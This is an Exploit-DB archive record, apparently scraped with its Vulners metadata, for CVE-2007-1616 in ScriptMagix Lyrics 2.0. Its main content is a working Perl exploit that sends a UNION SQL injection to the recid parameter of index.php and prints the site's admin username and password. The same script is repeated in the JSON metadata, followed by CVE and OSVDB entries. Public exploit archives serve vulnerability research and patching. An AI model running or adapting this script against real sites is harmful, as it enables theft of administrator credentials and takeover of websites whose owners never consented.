ID EDB-ID:3515
Type exploitdb
Reporter ajann
Modified 2007-03-19T00:00:00
Description
ScriptMagix Lyrics <= 2.0 (index.php recid) SQL Injection Exploit. CVE-2007-1616. Webapps exploit for php platform
#!/usr/bin/perl
#[Script Name: ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(
#[S.Page : http://www.scriptmagix.com
#[$$ : 35$
#[.. : ajann,Turkey
use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[// ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit
[// Usage: exploit.pl [target]
[// Example: exploit.pl victim.com
[// Example: exploit.pl victim.com
[// Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?cmd=6&recid=";
print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);
if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}
if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
}
$target = "-1%20union%20select%200,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),0,0,0,0%20from%20admin/*";
$target = $host.$dir.$file.$target;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}
if ($answer =~ /password:(.*?)<br>/){
print "+ Password: $1\n";
}
if ($answer =~ /Syntax error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
}
# milw0rm.com [2007-03-19]
{"published": "2007-03-19T00:00:00", "id": "EDB-ID:3515", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "history": [], "enchantments": {"vulnersScore": 7.5}, "hash": "b75ce77d34552788f0b0578b17cbaf3584cc8d836e3d3747f09d0ecc1d94b2db", "description": "ScriptMagix Lyrics <= 2.0 (index.php recid) SQL Injection Exploit. CVE-2007-1616. Webapps exploit for php platform", "type": "exploitdb", "href": "https://www.exploit-db.com/exploits/3515/", "lastseen": "2016-01-31T18:40:33", "edition": 1, "title": "ScriptMagix Lyrics <= 2.0 index.php recid SQL Injection Exploit", "osvdbidlist": ["34283"], "modified": "2007-03-19T00:00:00", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1616"], "sourceHref": "https://www.exploit-db.com/download/3515/", "references": [], "reporter": "ajann", "sourceData": "#!/usr/bin/perl\n#[Script Name: ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit\n#[Coded by : ajann\n#[Author : ajann\n#[Contact : :(\n#[S.Page : http://www.scriptmagix.com\n#[$$ : 35$\n#[.. : ajann,Turkey\n\nuse IO::Socket;\nif(@ARGV < 1){\nprint \"\n[========================================================================\n[// ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit\n[// Usage: exploit.pl [target]\n[// Example: exploit.pl victim.com\n[// Example: exploit.pl victim.com\n[// Vuln&Exp : ajann\n[========================================================================\n\";\nexit();\n}\n#Local variables\n$server = $ARGV[0];\n$server =~ s/(http:\\/\\/)//eg;\n$host = \"http://\".$server;\n$port = \"80\";\n$file = \"/index.php?cmd=6&recid=\";\n\nprint \"Script <DIR> : \";\n$dir = <STDIN>;\nchop ($dir);\n\nif ($dir =~ /exit/){\nprint \"-- Exploit Failed[You Are Exited] \\n\";\nexit();\n}\n\nif ($dir =~ /\\//){}\nelse {\nprint \"-- Exploit Failed[No DIR] \\n\";\nexit();\n }\n\n\n$target = \"-1%20union%20select%200,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),0,0,0,0%20from%20admin/*\";\n$target = $host.$dir.$file.$target;\n\n#Writing data to socket\nprint \"+**********************************************************************+\\n\";\nprint \"+ Trying to connect: $server\\n\";\n$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"\\n+ Connection failed...\\n\";\nprint $socket \"GET $target HTTP/1.1\\n\";\nprint $socket \"Host: $server\\n\";\nprint $socket \"Accept: */*\\n\";\nprint $socket \"Connection: close\\n\\n\";\nprint \"+ Connected!...\\n\";\n#Getting\nwhile($answer = <$socket>) {\nif ($answer =~ /username:(.*?)pass/){\nprint \"+ Exploit succeed! Getting admin information.\\n\";\nprint \"+ ---------------- +\\n\";\nprint \"+ Username: $1\\n\";\n}\n\nif ($answer =~ /password:(.*?)<br>/){\nprint \"+ Password: $1\\n\";\n}\n\nif ($answer =~ /Syntax error/) { \nprint \"+ Exploit Failed : ( \\n\";\nprint \"+**********************************************************************+\\n\";\nexit(); \n}\n\nif ($answer =~ /Internal Server Error/) {\nprint \"+ Exploit Failed : ( \\n\";\nprint \"+**********************************************************************+\\n\";\nexit(); \n}\n }\n\n# milw0rm.com [2007-03-19]\n", "objectVersion": "1.0"}
{"result": {"cve": [{"id": "CVE-2007-1616", "type": "cve", "title": "CVE-2007-1616", "description": "SQL injection vulnerability in index.php in ScriptMagix Lyrics 2.0 and earlier allows remote attackers to execute arbitrary SQL commands via the recid parameter.", "published": "2007-03-22T20:19:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1616", "cvelist": ["CVE-2007-1616"], "lastseen": "2017-10-19T11:12:47"}], "osvdb": [{"id": "OSVDB:34283", "type": "osvdb", "title": "ScriptMagix Lyrics index.php recid Variable SQL Injection", "description": "# No description provided by the source\n\n## References:\n[Secunia Advisory ID:24563](https://secuniaresearch.flexerasoftware.com/advisories/24563/)\nOther Advisory URL: http://milw0rm.com/exploits/3515\nISS X-Force ID: 33056\nFrSIRT Advisory: ADV-2007-1016\n[CVE-2007-1616](https://vulners.com/cve/CVE-2007-1616)\nBugtraq ID: 23019\n", "published": "2007-03-19T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:34283", "cvelist": ["CVE-2007-1616"], "lastseen": "2017-04-28T13:20:30"}]}}